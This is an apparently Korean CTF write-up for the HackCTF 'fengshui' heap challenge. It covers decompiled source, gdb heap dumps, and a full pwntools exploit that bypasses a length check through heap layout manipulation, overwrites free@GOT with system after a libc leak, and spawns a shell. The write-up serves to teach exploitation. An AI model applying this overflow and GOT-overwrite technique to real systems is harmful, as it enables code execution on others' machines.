콘텐츠로 건너뛰기

[HackCTF] 풍수지리설 (heap fengshui?)

Heap Fengshui?

선택된 크기의 힙 할당을 만들어 힙의 레이아웃을 조작하는 기법

Source

https://github.com/koharin/pwnable2/tree/main/hackCTF/pwnable/fengshui

checksec

ubuntu@e31c3240ce98:~/study/fengshui$ checksec ./fengshui
[!] Could not populate PLT: invalid syntax (unicorn.py, line 157)
[*] '/home/ubuntu/study/fengshui/fengshui'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

Decompiled-src / Anlaysis

main

아래와 같이 4가지 메뉴가 존재한다.

size of description과 index는 main 함수에서 입력받는다. (unsigned __int8)cnt > 0x31u 조건을 보아 49개의 슬롯까지 저장할 수 있는 것으로 보인다.

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char v3; // [esp+3h] [ebp-15h] BYREF
  int v4; // [esp+4h] [ebp-14h] BYREF
  _DWORD v5[4]; // [esp+8h] [ebp-10h] BYREF

  v5[1] = __readgsdword(0x14u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  while ( 1 )
  {
    puts("0: Add a Location");
    puts("1: Delete a Location");
    puts("2: Display a Location");
    puts("3: Update a Location description");
    puts("4: Exit");
    printf("Choice: ");
    if ( __isoc99_scanf("%d", &v4) == -1 )
      break;
    if ( !v4 )
    {
      printf("Size of description: ");
      __isoc99_scanf("%u%c", v5, &v3);
      add_location(v5[0]);
    }
    if ( v4 == 1 )
    {
      printf("Index: ");
      __isoc99_scanf("%d", v5);
      delete_location(LOBYTE(v5[0]));
    }
    if ( v4 == 2 )
    {
      printf("Index: ");
      __isoc99_scanf("%d", v5);
      display_location(LOBYTE(v5[0]));
    }
    if ( v4 == 3 )
    {
      printf("Index: ");
      __isoc99_scanf("%d", v5);
      update_desc(LOBYTE(v5[0]));
    }
    if ( v4 == 4 )
    {
      puts("^^7");
      exit(0);
    }
    if ( (unsigned __int8)cnt > 0x31u )
    {
      puts("Capacity Exceeded!");
      exit(0);
    }
  }
  exit(1);
}

1. add_location

desc_size를 사용자가 임의로 지정할 수 있으나,

name의 경우에는 0x80크기로 malloc 크기가 고정된다. name을 124만큼 데이터를 쓸 수 있다.

//.bss:0804B080 ; Location **store[49]
//.bss:0804B080 store           dd ? 
// 구조체 생성
struct Location
{
  char *description;
  char name[124];
};
Location *__cdecl add_location(size_t desc_size)
{
  void *description; // [esp+14h] [ebp-14h]
  Location *name; // [esp+18h] [ebp-10h]

  description = malloc(desc_size);
  memset(description, 0, desc_size);
  name = (Location *)malloc(0x80u);
  memset(name, 0, sizeof(Location));
  name->description = (char *)description;
  store[(unsigned __int8)cnt] = name;
  printf("Name: ");
  read_len(store[(unsigned __int8)cnt]->name, 124);
  update_desc(cnt++);
  return name;
}

unsigned int __cdecl read_len(char *a1, int a2)
{
  char *v3; // [esp+18h] [ebp-10h]
  unsigned int v4; // [esp+1Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  fgets(a1, a2, stdin);
  v3 = strchr(a1, '\\n');
  if ( v3 )
    *v3 = 0;
  return __readgsdword(0x14u) ^ v4;
}

update_desc 함수에서 text_length을 입력받은 다음, [description의 주소 + 입력할 length >= Name의 주소 – 4] 조건을 만족하는지 확인한다.

해당 조건문을 만족시키지 않는다면, text_len+1만큼 desc를 입력받을 수 있다.

unsigned int __cdecl update_desc(unsigned __int8 _cnt)
{
  char v2; // [esp+17h] [ebp-11h] BYREF
  int text_len; // [esp+18h] [ebp-10h] BYREF
  unsigned int v4; // [esp+1Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  if ( _cnt < (unsigned __int8)cnt && store[_cnt] )
  {
    text_len = 0;
    printf("Text length: ");
    __isoc99_scanf("%u%c", &text_len, &v2);
    if ( (char *)*store[_cnt] + text_len >= (char *)(store[_cnt] - 1) )
    {
      puts("Nah...");
      exit(1);
    }
    printf("Text: ");
    read_len((char *)*store[_cnt], text_len + 1);
  }
  return __readgsdword(0x14u) ^ v4;
}

2. delete_location

a1(삭제할 인덱스)가 전역 변수 cnt(최대 허용 개수)보다 작은지, store[a1]가 NULL이 아닌지 검사한다.

*store[a1]에는 실제 데이터 버퍼에 대한 포인터가 저장되어 있으므로, 첫 번째 free로 그 데이터를 해제한다.

두 번째 free로는 버퍼 포인터 자체를 담고 있는 store[a1] 슬롯 메모리를 해제한다.

마지막으로 store[a1] = 0; 으로 해당 슬롯을 NULL로 설정한다.

unsigned int __cdecl delete_location(unsigned __int8 a1)
{
  unsigned int v2; // [esp+1Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  if ( a1 < (unsigned __int8)cnt && store[a1] )
  {
    free(*store[a1]);
    free(store[a1]);
    store[a1] = 0;
  }
  return __readgsdword(0x14u) ^ v2;
}

3. display_location

인덱스에 해당되는 name, desc 데이터를 출력해준다.

unsigned int __cdecl display_location(unsigned __int8 a1)
{
  unsigned int v2; // [esp+1Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  if ( a1 < (unsigned __int8)cnt && store[a1] )
  {
    printf("Name: %s\\n", (const char *)store[a1] + 4);
    printf("Description: %s\\n", (const char *)*store[a1]);
  }
  return __readgsdword(0x14u) ^ v2;
}

4. update_desc

1번 add_location에서 update_desc가 호출되는 함수와 같다.

unsigned int __cdecl update_desc(unsigned __int8 _cnt)
{
  char v2; // [esp+17h] [ebp-11h] BYREF
  int text_len; // [esp+18h] [ebp-10h] BYREF
  unsigned int v4; // [esp+1Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  if ( _cnt < (unsigned __int8)cnt && store[_cnt] )
  {
    text_len = 0;
    printf("Text length: ");
    __isoc99_scanf("%u%c", &text_len, &v2);
    if ( (char *)*store[_cnt] + text_len >= (char *)(store[_cnt] - 1) )
    {
      puts("Nah...");
      exit(1);
    }
    printf("Text: ");
    read_len((char *)*store[_cnt], text_len + 1);
  }
  return __readgsdword(0x14u) ^ v4;
}

Solution

1. 3번 할당

if ( (char *)*store[_cnt] + text_len >= (char *)(store[_cnt] - 1) )

add_location 함수에서 호출되는 update_desc 함수의 위 조건에 의해 desc_size가 0x10인 경우, text_len은 0x10+4이상이면 안된다.

따라서 아래와 같이 text_len이 desc_size보다 작게 할당해주었다.

for i in range(3):
    add_location(desc_size=0x10, name=b"A"*8, text_len=8, text=b"a"*8)

힙 청크를 살펴보면

gdb-peda$ parseheap
addr                prev                size                 status              fd                bk 
0x804c000           0x0                 0x18                 Used                None              None
0x804c018           0x0                 0x88                 Used                None              None
0x804c0a0           0x0                 0x18                 Used                None              None
0x804c0b8           0x0                 0x88                 Used                None              None
0x804c140           0x0                 0x18                 Used                None              None
0x804c158           0x0                 0x88                 Used                None              None

구조는 다음과 같다.

Location 구조체 할당을 위해 malloc되는 크기는 0x80크기로 고정되있고, (Location 구조체 구조 = text 4바이트 주소값 + name[124])

text의 경우 할당크기를 사용자가 임의로 지정할 수 있으며 malloc된 크기는 0x10이다.

2. delete_location(0)

delete_location(0)

결과

delete_location에 의해 text 할당주소와 Location 구조체 주소가 저장된 store[0] 할당주소를 차례로 free시킨다.

이후 store[0] 값을 0으로 초기화시킨다.

gdb-peda$ parseheap
addr                prev                size                 status              fd                bk 
**0x804c000           0x0                 0x18                 Freed                0x0              None
0x804c018           0x0                 0x88                 Freed         0xf7fc57b0        0xf7fc57b0**
0x804c0a0           0x88                0x18                 Used                None              None
0x804c0b8           0x0                 0x88                 Used                None              None
0x804c140           0x0                 0x18                 Used                None              None
0x804c158           0x0                 0x88                 Used                None              None
gdb-peda$ heapinfo
(0x10)     fastbin[0]: 0x0
(0x18)     fastbin[1]: 0x804c000 --> 0x0
(0x20)     fastbin[2]: 0x0
(0x28)     fastbin[3]: 0x0
(0x30)     fastbin[4]: 0x0
(0x38)     fastbin[5]: 0x0
(0x40)     fastbin[6]: 0x0
(0x48)     fastbin[7]: 0x0
(0x50)     fastbin[8]: 0x0
(0x58)     fastbin[9]: 0x0
                  top: 0x804c1e0 (size : 0x20e20)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x804c018 (size : 0x88)

3. text malloc 크기를 0x30으로 Location 할당해보기

add_location(desc_size=0x30, name=b"A"*8, text_len=0x8, text=b"a"*8)

결과

add_location 함수를 다시 살펴봤을떄, 먼저 사용자가 지정한 desc_size만큼 malloc한다.

따라서 해당 청크는 0x80만큼 Location을 할당하고 free했었던 청크로부터 다시 가져온다.

2번째로 name 할당 청크는 기존 청크로부터 할당받지 않고 아예 새로 받는다.

gdb-peda$ parseheap
addr                prev                size                 status              fd                bk 
0x804c000           0x0                 0x18                 Freed                0x0              None
**0x804c018           0x0                 0x38                 Used                None              None**
0x804c050           0x0                 0x50                 Freed         0xf7fc57f8        0xf7fc57f8
0x804c0a0           0x50                0x18                 Used                None              None
0x804c0b8           0x0                 0x88                 Used                None              None
0x804c140           0x0                 0x18                 Used                None              None
0x804c158           0x0                 0x88                 Used                None              None
**0x804c1e0           0x0                 0x88                 Used                None              None**

gdb-peda$ heapinfo
(0x10)     fastbin[0]: 0x0
(0x18)     fastbin[1]: 0x804c000 --> 0x0
(0x20)     fastbin[2]: 0x0
(0x28)     fastbin[3]: 0x0
(0x30)     fastbin[4]: 0x0
(0x38)     fastbin[5]: 0x0
(0x40)     fastbin[6]: 0x0
(0x48)     fastbin[7]: 0x0
(0x50)     fastbin[8]: 0x0
(0x58)     fastbin[9]: 0x0
                  top: 0x804c268 (size : 0x20d98)
       last_remainder: 0x804c050 (size : 0x50)
            unsortbin: 0x0
(0x050)  smallbin[ 8]: 0x804c050

gdb-peda$ x/8wx &store
0x804b080 <store>:      0x00000000      0x0804c0c0      0x0804c160      0x0804c1e8
0x804b090 <store+16>:   0x00000000      0x00000000      0x00000000      0x00000000

그림으로 나타냈을때 아래와 같다…

이를 통해 store[3]→description(text)에 할당되는 곳을 살펴봤을때 0x804c020이라는점을 알 수 있다.

update_desc 함수의 if ( (char *)*store[_cnt] + text_len >= (char *)(store[_cnt] - 1) ) 조건문을 다시 살펴보면,

실제로, add_location(desc_size=0x30, name=b"A"*8, text_len=0x38, text=b"a"*8) 코드롤 대신 넣어도 무사히 검증을 피할 수 있는데, 여전히 eax(=(char *)(store[_cnt] - 1), 0x804c1e4)값이 edx(=(char *)*store[_cnt] + text_len, 0x804c058)값보다 크기 때문에 통과한다.

[----------------------------------registers-----------------------------------]
EAX: 0x804c1e4 --> 0x89
EBX: 0x0
ECX: 0x2
EDX: 0x804c058 --> 0xf7fc57f8 --> 0xf7fc57f0 --> 0xf7fc57e8 --> 0xf7fc57e0 --> 0xf7fc57d8 (--> ...)
ESI: 0xf7fc5000 --> 0x1b2db0
EDI: 0xf7fc5000 --> 0x1b2db0
EBP: 0xffffd638 --> 0xffffd678 --> 0xffffd6a8 --> 0x0
ESP: 0xffffd610 --> 0xf7fc5000 --> 0x1b2db0
EIP: 0x80487af (<update_desc+139>:      cmp    edx,eax)
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80487a1 <update_desc+125>: movzx  eax,BYTE PTR [ebp-0x1c]
   0x80487a5 <update_desc+129>: mov    eax,DWORD PTR [eax*4+0x804b080]
   0x80487ac <update_desc+136>: sub    eax,0x4
=> 0x80487af <update_desc+139>: cmp    edx,eax
   0x80487b1 <update_desc+141>: jb     0x80487cd <update_desc+169>
   0x80487b3 <update_desc+143>: sub    esp,0xc
   0x80487b6 <update_desc+146>: push   0x8048cc3
   0x80487bb <update_desc+151>: call   0x8048540 <puts@plt>

gdb-peda$ x/8wx &store
0x804b080 <store>:      0x00000000      0x0804c0c0      0x0804c160      0x0804c1e8
0x804b090 <store+16>:   0x00000000      0x00000000      0x00000000      0x00000000

gdb-peda$ p/x 0x0804c1e8-4
$3 = 0x804c1e4

gdb-peda$ x/wx 0x0804c1e8
0x804c1e8:      0x0804c020

gdb-peda$ p/x 0x0804c020+0x38
$1 = 0x804c058

4. AAW…

결론으로, 힙 오버플로우가 발생한다.

3번 과정에서 진행했던 add_location(desc_size=0x30, name=b"A"*8, text_len=0x8, text=b"a"*8) 코드 대신에

0x30 크기는 유지한채 text_len크기를 늘여서 store[1]에 적힌 청크 주소를 free@got으로 덮도록 만든다.

# ip()
pay = b"b"*0xa0 + p32(e.got.free)
add_location(desc_size=0x30, name=b"B"*8, text_len=len(pay), text=pay)

display_location 함수로 free 주소를 leak하여 libc base 주소를 구하고,

display_location(1)

ru(b"Description: ")
leak = r(4)
leak = uu32(leak)
print("leak: "+ hex(leak))
l.address = leak - l.sym.free
print("libc base: "+ hex(l.address))

update_location_desc 함수로 free@got 주소를 system으로 덮어씌울 수 있다. 사전에 /bin/sh가 적힌 청크를 free시키면 쉘 획득 가능.

update_location_desc(idx=1, text_len=4, text=p32(l.sym.system))

delete_location(2)     # system("/bin/sh")

전체 코드는 다음과 같다…

for i in range(3):
    # ip()
    add_location(desc_size=0x10, name=b"A"*8, text_len=0x8, text=b"/bin/sh\\x00")

delete_location(0)

# ip()
pay = b"b"*0xa0 + p32(e.got.free)
add_location(desc_size=0x30, name=b"B"*8, text_len=len(pay), text=pay)

display_location(1)

ru(b"Description: ")
leak = r(4)
leak = uu32(leak)
print("leak: "+ hex(leak))
l.address = leak - l.sym.free
print("libc base: "+ hex(l.address))

update_location_desc(idx=1, text_len=4, text=p32(l.sym.system))

delete_location(2)

solve.py (Local)

#!/usr/bin/env python3
import sys, io

sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8', errors='replace')
sys.stderr = io.TextIOWrapper(sys.stderr.buffer, encoding='utf-8', errors='replace')

from pwn import *
# context.log_level = 'debug'
context(arch='i386', os='linux')
warnings.filterwarnings('ignore')

p = process("./fengshui")
# p = remote("challenge.nahamcon.com", 31899)
e = ELF('./fengshui',checksec=False)
l = ELF('/lib/i386-linux-gnu/libc-2.23.so', checksec=False)
# l = ELF('./libc.so.6', checksec=False)

s = lambda str: p.send(str)
sl = lambda str: p.sendline(str)
sa = lambda delims, str: p.sendafter(delims, str)
sla = lambda delims, str: p.sendlineafter(delims, str)
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims: p.recvuntil(delims)
uu32 = lambda data: u32(data.ljust(4, b"\\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\\x00"))
li = lambda str, data: log.success(str + "========>" + hex(data))
ip = lambda: input()
pi = lambda: p.interactive()

def add_location(desc_size, name, text_len, text):
    sla(b"Choice: ", b"0")
    sla("Size of description: ", str(desc_size))
    sla(b"Name: ", name)
    sla("Text length: ", str(text_len))
    sla(b"Text: ", text)

def delete_location(idx):
    sla(b"Choice: ", b"1")
    sla("Index: ", str(idx))

def display_location(idx):
    sla(b"Choice: ", b"2")
    sla("Index: ", str(idx))

def update_location_desc(idx, text_len, text):
    sla(b"Choice: ", b"3")
    sla("Index: ", str(idx))
    sla("Text length: ", str(text_len))
    sla(b"Text: ", text)

def exit():
    sla(b"Choice: ", b"4")

#EXAMPLE
# add_location(desc_size=30, name=b"A"*4, text_len=4, text=b"a"*4)
# update_location_desc(idx=0, text_len=30, text="B"*8)
# display_location(0)
# delete_location(0)

for i in range(3):
    # ip()
    add_location(desc_size=0x10, name=b"A"*8, text_len=0x8, text=b"/bin/sh\\x00")

delete_location(0)

# ip()
pay = b"b"*0xa0 + p32(e.got.free)
add_location(desc_size=0x30, name=b"B"*8, text_len=len(pay), text=pay)

display_location(1)

ru(b"Description: ")
leak = r(4)
leak = uu32(leak)
print("leak: "+ hex(leak))
l.address = leak - l.sym.free
print("libc base: "+ hex(l.address))

update_location_desc(idx=1, text_len=4, text=p32(l.sym.system))

delete_location(2)

pi()

Result

ubuntu@e31c3240ce98:~/study/fengshui$ python3 solve.py
[+] Starting local process './fengshui': pid 1857
[!] Could not populate PLT: invalid syntax (unicorn.py, line 157)
[!] Could not populate PLT: invalid syntax (unicorn.py, line 157)
leak: 0xf7e83530
libc base: 0xf7e12000
[*] Switching to interactive mode
$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)
$ whoami
ubuntu
$ uname -a
Linux e31c3240ce98 6.6.87.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC Thu Jun  5 18:30:46 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
$ 
[*] Interrupted
[*] Stopped process './fengshui' (pid 1857)
ubuntu@e31c3240ce98:~/study/fengshui$